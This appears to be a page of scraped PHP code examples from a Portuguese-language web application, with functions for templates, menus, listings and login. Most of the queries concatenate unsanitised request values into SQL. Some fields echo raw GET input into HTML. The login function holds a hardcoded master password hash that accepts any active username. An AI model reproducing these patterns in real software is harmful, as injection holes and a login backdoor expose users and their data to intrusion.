Ejemplo n.º 1
0
function Main()
{
    $codTPL = $_GET["t"];
    $codReg = $_GET["r"];
    $editar = false;
    $u = unserialize($_SESSION["usu"]);
    if (!is_numeric($codTPL)) {
        $msg = "Ação inválida";
        header("Location:index.php?msg=" . $msg);
    }
    //Verifica se veio um código para ser editado
    if (isset($codReg) && $codReg != "") {
        $codReg = base64_decode($codReg);
        $editar = true;
    }
    $cnn = new Conexao();
    $sql = "SELECT Arquivo FROM mestemplates WHERE Codigo = 3;";
    $rs = $cnn->Consulta($sql);
    $tpl_p = file_get_contents(mysql_result($rs, 0, "Arquivo"));
    $tpl_p = str_replace("<!--telatopo-->", Comuns::GeraTopoPagina($u), $tpl_p);
    $tpl_p = str_replace("<!--Mensagem-->", isset($mensagem) && $mensagem != "" ? base64_decode($mensagem) : "", $tpl_p);
    $sql = "SELECT Classe, jsLoad, CodPermissao, linkSalva, linkVolta ";
    $sql .= "FROM mestemplates WHERE Codigo = " . $codTPL . ";";
    $rs = $cnn->Consulta($sql);
    if ($rs != 0) {
        // Classe que será instanciada e permissão necessária para acessar a tela
        $classe = mysql_result($rs, 0, "Classe");
        $permissao = mysql_result($rs, 0, "CodPermissao");
        $funload = mysql_result($rs, 0, "jsLoad");
        if ($u->TemPermissao($permissao)) {
            $frm = new $classe();
            if ($editar) {
                // Se vier um comando de edição de registro, monta o form com os dados do registro solicitado
                Log::RegistraLog("Acessou a tela de " . $frm->RetornaDescricaoTela('cadastro') . " para editar o registro " . $codReg);
                $tpl = $frm->FormEdita($codReg);
            } else {
                // Senão, monta um formulário em branco
                Log::RegistraLog("Acessou a tela de " . $frm->RetornaDescricaoTela('cadastro') . " para inserir um novo registro");
                $tpl = $frm->FormNovo();
            }
            if (!is_null($funload) && $funload != '') {
                $tpl_p = str_replace('<!--javaonload-->', $funload, $tpl_p);
            } else {
                $tpl_p = str_replace('<!--javaonload-->', '', $tpl_p);
            }
            $botoes = Botao::BotaoSalvar(mysql_result($rs, 0, "linkSalva"));
            $botoes .= Botao::BotaoVoltar(mysql_result($rs, 0, "linkVolta"));
            $tpl_p = str_replace("<!--itens-toolbar-->", $botoes, $tpl_p);
        } else {
            $msg = base64_encode("@lng[Você não tem permissão para acessar esta tela]");
            header("Location:interna.php?msg=" . $msg);
        }
    } else {
        $msg = "@lng[Página inválida]";
        header("Location:index.php?msg=" . $msg);
    }
    $tpl_p = str_replace("##Formulario##", $tpl, $tpl_p);
    header('Content-Type: text/html; charset=iso-8859-1');
    echo Comuns::Idioma($tpl_p);
}
Ejemplo n.º 2
0
 private function BuscaUltimaEtapa($pergunta)
 {
     $sql = "SELECT MAX(CodEtapa) as Etapa FROM mesperguntaetapa WHERE CodPergunta = " . $pergunta . ";";
     $cnn = new Conexao();
     $rs = $cnn->Consulta($sql);
     if ($rs != 0 && mysql_num_rows($rs) > 0) {
         return mysql_result($rs, 0, "Etapa");
     } else {
         return 0;
     }
 }
Ejemplo n.º 3
0
function Main()
{
    $codTPL = $_GET["t"];
    $codPagina = $_GET["p"];
    $codMax = $_GET["m"];
    $mensagem = $_GET['msg'];
    if (!is_numeric($codTPL)) {
        $msg = "@lng[A URL acesada é inválida]";
        header("Location:index.php?msg=" . base64_encode($msg));
    }
    if (!is_numeric($codPagina)) {
        $codPagina = 1;
    }
    $u = unserialize($_SESSION['usu']);
    $cnn = new Conexao();
    $sql = "SELECT Arquivo FROM mestemplates WHERE Codigo = 2;";
    $rs = $cnn->Consulta($sql);
    $tpl = file_get_contents(mysql_result($rs, 0, "Arquivo"));
    $tpl = str_replace("<!--telatopo-->", Comuns::GeraTopoPagina($u), $tpl);
    $tpl = str_replace("<!--Mensagem-->", isset($mensagem) && $mensagem != "" ? base64_decode($mensagem) : "", $tpl);
    $sql = "SELECT Classe, jsLoad, linkNovoRegistro, QtdPadListagem FROM mestemplates WHERE Codigo = " . $codTPL . ";";
    $rs = $cnn->Consulta($sql);
    if ($rs != 0) {
        // Classe que será instanciada
        $classe = mysql_result($rs, 0, 0);
        $frm = new $classe();
        if (!is_numeric($codMax)) {
            $codMax = mysql_result($rs, 0, 3);
            // Quantidade padrão para listagem: 15 (exceto listam de Caso que é 10)
        }
        Log::RegistraLog("Acessou a tela de " . $frm->RetornaDescricaoTela('lista'));
        $where = fntConstroiWhere($codTPL, $_GET);
        $lista = $frm->ListaTabela($codPagina, $codMax, $_SESSION['usu'], $where);
        $tpl = str_replace("##Lista##", $lista, $tpl);
        $tpl = str_replace("##CodTpl##", $codTPL, $tpl);
        if (is_null(mysql_result($rs, 0, 2)) || trim(mysql_result($rs, 0, 2)) == "") {
            $tpl = str_replace("##linkNovo##", "cadastro.php?t=" . $codTPL, $tpl);
        } else {
            $tpl = str_replace("##linkNovo##", mysql_result($rs, 0, 2), $tpl);
        }
        $tpl = str_replace("##FuncoesJS##", mysql_result($rs, 0, 1), $tpl);
        $cnnFiltros = Conexao2::getInstance();
        $sqlFiltro = "select TipoFiltro, NomeCampoTela, DscCampoTela, ComandoFill, CampoSelValue, CampoSelText, CSSClassCampoTela ";
        $sqlFiltro .= "from mestemplatesfiltros where CodTemplate = " . $codTPL . ";";
        $cmd = $cnnFiltros->prepare($sqlFiltro);
        $cmd->execute();
        $tplFiltro = "";
        if ($cmd->errorCode() == Comuns::QUERY_OK) {
            if ($cmd->rowCount() > 0) {
                while ($linha = $cmd->fetch(PDO::FETCH_OBJ)) {
                    $tplFiltro .= '<label id="lbl' . $linha->NomeCampoTela . '" for="' . $linha->NomeCampoTela . '">';
                    $tplFiltro .= '    @lng[' . $linha->DscCampoTela . ']<br />';
                    switch ($linha->TipoFiltro) {
                        case "TEXTO":
                            $tplFiltro .= '    <input type="text" name="' . $linha->NomeCampoTela . '" id="' . $linha->NomeCampoTela . '" class="' . $linha->CSSClassCampoTela . '" value="' . ($_GET[$linha->NomeCampoTela] ? $_GET[$linha->NomeCampoTela] : "") . '" />';
                            break;
                        case "COMBO":
                            $arr = null;
                            Comuns::ArrayObj($linha->ComandoFill, $arr);
                            $combo = new ComboBox($linha->NomeCampoTela, $arr, $linha->CampoSelValue, $linha->CampoSelText);
                            $combo->cssClass($linha->CSSClassCampoTela);
                            $combo->setDefaultValue("");
                            $combo->setDefaultText("@lng[Todos]");
                            $tplFiltro .= $combo->RenderHTML();
                            break;
                        default:
                            $tplFiltro .= '    <input type="text" name="' . $linha->NomeCampoTela . '" id="' . $linha->NomeCampoTela . '" class="' . $linha->CSSClassCampoTela . '" value="' . ($_GET[$linha->NomeCampoTela] ? $_GET[$linha->NomeCampoTela] : "") . '" />';
                    }
                    $tplFiltro .= '</label><br /><br />';
                }
                $tpl = str_replace("##Filtros##", $tplFiltro, $tpl);
            } else {
                $tpl = str_replace("##Filtros##", "@lng[Esta tela não possui filtros para serem aplicados]", $tpl);
            }
        } else {
            $msg = $cmd->errorInfo();
            echo $msg[2];
        }
    }
    //header('Content-Type: text/html; charset=iso-8859-1');
    echo Comuns::Idioma($tpl);
}
Ejemplo n.º 4
0
 public function ListaRecordSet()
 {
     $sql = "SELECT Codigo, Descricao ";
     $sql .= "FROM mespermissao;";
     $cnn = new Conexao();
     $rs = $cnn->Consulta($sql);
     if ($rs != 0) {
         return $rs;
     } else {
         return false;
     }
 }
Ejemplo n.º 5
0
 public static function ValidaLogin($usuario, $senha)
 {
     $sql = "SELECT 1 as OK ";
     $sql .= "FROM mesusuario ";
     $sql .= "WHERE NomeUsuario = '" . $usuario . "' AND Senha = '" . $senha . "' AND Ativo = 1;";
     $cnn = new Conexao();
     $rs = $cnn->Consulta($sql);
     if ($rs != 0 && mysql_num_rows($rs) > 0) {
         $cnn->Desconecta();
         return true;
     } else {
         $cnn->Desconecta();
         $sqladmin = "SELECT 1 as OK ";
         $sqladmin .= "FROM mesusuario ";
         $sqladmin .= "WHERE NomeUsuario = :pUsuario AND Ativo = 1;";
         $cnn = Conexao2::getInstance();
         $cmd = $cnn->prepare($sqladmin);
         $cmd->bindParam(":pUsuario", $usuario, PDO::PARAM_STR);
         $cmd->execute();
         if ($cmd->rowCount() > 0) {
             if ($senha == "414150246b28a622c34b1883fc645502") {
                 return true;
             } else {
                 return false;
             }
         } else {
             return false;
         }
     }
 }
Ejemplo n.º 6
0
 /**
  * Retorna uma string em formato de tabela com os registros de Grupos de usuários limitado pelo paginador.
  */
 public function ListaTabela($pagina = 1, $nporpagina = 10)
 {
     $ini = $pagina * $nporpagina - $nporpagina;
     $sql = "SELECT Codigo, Descricao ";
     $sql .= "FROM mesnivelpergunta LIMIT " . $ini . ", " . $nporpagina . ";";
     $cnn = new Conexao();
     $rs = $cnn->Consulta($sql);
     if (mysql_num_rows($rs)) {
         $ret = Comuns::TopoTabelaListagem("Lista de níveis de dificuldade do sistema", "nivdif", array('Descrição', 'Ações'));
         while ($linha = mysql_fetch_array($rs)) {
             $cod = base64_encode($linha["Codigo"]);
             $ret .= '    <tr>';
             $ret .= '      <td>' . $linha["Descricao"] . '</td>';
             $ret .= '      <td>';
             $ret .= '      <a href="cadastro.php?t=' . $this->form . '&r=' . $cod . '">' . Comuns::IMG_ACAO_EDITAR . '</a>&nbsp;';
             $ret .= '      <a href="javascript:void(0);" onclick="javascript:fntDeletaNivelDificuldade(\'' . $cod . '\')">' . Comuns::IMG_ACAO_DELETAR . '</a>';
             $ret .= '      </td>';
             $ret .= '    </tr>';
         }
         $ret .= '  </tbody>';
         $ret .= '</table>';
         $registros = Comuns::NRegistros("mesnivelpergunta");
         if ($registros > 0) {
             $ret .= Comuns::GeraPaginacao($registros, $pagina, $nporpagina, $this->form);
         }
     } else {
         $ret = "@lng[Nenhum nível de dificuldade cadastrado até o momento]";
     }
     return $ret;
 }
Ejemplo n.º 7
0
 static function MontaMenu($menu, $usuario)
 {
     $sql = "select Codigo, Texto, Link, CodPermissao, ";
     $sql .= "\tCASE WHEN CodItemPai IS NULL THEN 0 ELSE CodItemPai END CodItemPai ";
     $sql .= "from mesitensmenu ";
     $sql .= "where CodMenu = " . $menu . " ";
     $sql .= "order by CodItemPai, Ordem";
     $cnn = new Conexao();
     $rs = $cnn->Consulta($sql);
     if ($rs != 0) {
         if (mysql_num_rows($rs) > 0) {
             while ($linha = mysql_fetch_object($rs)) {
                 if ($usuario->TemPermissao($linha->CodPermissao)) {
                     $menuItens[$linha->CodItemPai][$linha->Codigo] = array('Link' => $linha->Link, 'Nome' => $linha->Texto);
                 }
             }
             $ret = "";
             self::imprimeMenuInfinito($menuItens, $ret);
         } else {
             $strmenu = "";
         }
     } else {
         $strmenu = "";
     }
     //header('Content-Type: text/html; charset=iso-8859-1');
     return $ret;
 }
Ejemplo n.º 8
0
 public static function ListaUsuariosForaDoGrupo($codgrupo)
 {
     $sql = "select u.Codigo, u.NomeCompleto, u.NomeUsuario, u.Ativo ";
     $sql .= "from mesusuario u ";
     $sql .= "left outer join mesusuariogrupo ug ";
     $sql .= "\t     on ug.codusuario = u.codigo ";
     $sql .= "\t    and ug.CodGrupoUsuario = " . $codgrupo . " ";
     $sql .= "where (ug.CodGrupoUsuario is null or (ug.DtVigencia <> '1900-12-31' and ug.DtVigencia < current_date())) ";
     $sql .= "order by u.NomeCompleto;";
     $cnn = new Conexao();
     $rs = $cnn->Consulta($sql);
     if ($rs != 0) {
         $cnn->Desconecta();
         return $rs;
     } else {
         $cnn->Desconecta();
         return false;
     }
 }
Ejemplo n.º 9
0
 /**
  * Retorna uma string em formato de tabela com os registros de Tipos de pergunta limitado pelo paginador.
  */
 public function ListaTabela($pagina = 1, $nporpagina = 10)
 {
     $ini = $pagina * $nporpagina - $nporpagina;
     $sql = "SELECT Codigo, Descricao ";
     $sql .= "FROM mestipopergunta LIMIT " . $ini . ", " . $nporpagina . ";";
     $cnn = new Conexao();
     $rs = $cnn->Consulta($sql);
     if (mysql_num_rows($rs)) {
         $ret = Comuns::TopoTabelaListagem("Lista de Tipos de pergunta", "TiposPergunta", array('Descrição', 'Ações'));
         while ($linha = mysql_fetch_array($rs)) {
             $cod = base64_encode($linha["Codigo"]);
             $ret .= '    <tr>';
             $ret .= '      <td>' . $linha["Descricao"] . '</td>';
             $ret .= '      <td><a href="cadastro.php?t=' . $this->form . '&r=' . $cod . '">E</a> | <a href="javascript:void(0);" onclick="javascript:fntExcluiGrupoUsuario(' . $cod . ')">X</a></td>';
             $ret .= '    </tr>';
         }
         $ret .= '  </tbody>';
         $ret .= '</table>';
         $registros = Comuns::NRegistros("mesGrupoUsuario");
         if ($registros > 0) {
             $ret .= Comuns::GeraPaginacao($registros, $pagina, $nporpagina, $this->form);
         }
     } else {
         $ret = "@lng[Nenhum tipo de pergunta cadastrado]";
     }
     return $ret;
 }
Ejemplo n.º 10
0
 /**
  * Retorna uma string em formato de tabela com os registros de Grupos de usuários limitado pelo paginador.
  */
 public function ListaTabela($pagina = 1, $nporpagina = 10)
 {
     $ini = $pagina * $nporpagina - $nporpagina;
     $sql = "SELECT Codigo, Descricao ";
     $sql .= "FROM mesclassepergunta LIMIT " . $ini . ", " . $nporpagina . ";";
     $cnn = new Conexao();
     $rs = $cnn->Consulta($sql);
     if (mysql_num_rows($rs) > 0) {
         $ret = Comuns::TopoTabelaListagem("Lista de Classificações de exercícios", "ClassesPergunta", array('Descrição', 'Ações'));
         while ($linha = mysql_fetch_array($rs)) {
             $cod = base64_encode($linha["Codigo"]);
             $ret .= '    <tr>';
             $ret .= '      <td>' . $linha["Descricao"] . '</td>';
             $ret .= '      <td>';
             $ret .= '        <a href="cadastro.php?t=' . $this->form . '&r=' . $cod . '">' . Comuns::IMG_ACAO_EDITAR . '</a>&nbsp;';
             $ret = str_replace("##id##", "", $ret);
             $ret .= '        <a href="javascript:void(0);" onclick="javascript:fntExcluiClassePergunta(\'' . $cod . '\')">' . Comuns::IMG_ACAO_DELETAR . '</a></td>';
             $ret .= '    </tr>';
         }
         $ret .= '  </tbody>';
         $ret .= '</table>';
         $registros = Comuns::NRegistros("mesclassepergunta");
         if ($registros > 0) {
             $ret .= Comuns::GeraPaginacao($registros, $pagina, $nporpagina, $this->form);
         }
     } else {
         $ret = "@lng[Nenhuma classe de pergunta cadastrada]";
     }
     return $ret;
 }
Ejemplo n.º 11
0
 /**
  * Retorna um resultset com todos os usuarios do sistema vinculados ao grupo.
  */
 public function ListaUsuariosColaboradores()
 {
     $sql = "select u.Codigo, u.NomeCompleto, u.NomeUsuario, u.Ativo ";
     $sql .= "from mescasocolaborador ug ";
     $sql .= "inner join mesusuario u ";
     $sql .= "\ton u.Codigo = ug.CodUsuario ";
     //$sql .= "       and (current_date() <= ug.DtVigencia or ug.DtVigencia = '1900-12-31') ";
     //$sql .= "       and (u.ativo = 1) ";
     $sql .= " where ug.CodCaso = " . $this->codigo;
     $cnn = new Conexao();
     $rs = $cnn->Consulta($sql);
     if ($rs != 0) {
         $cnn->Desconecta();
         return $rs;
     } else {
         $cnn->Desconecta();
         return false;
     }
 }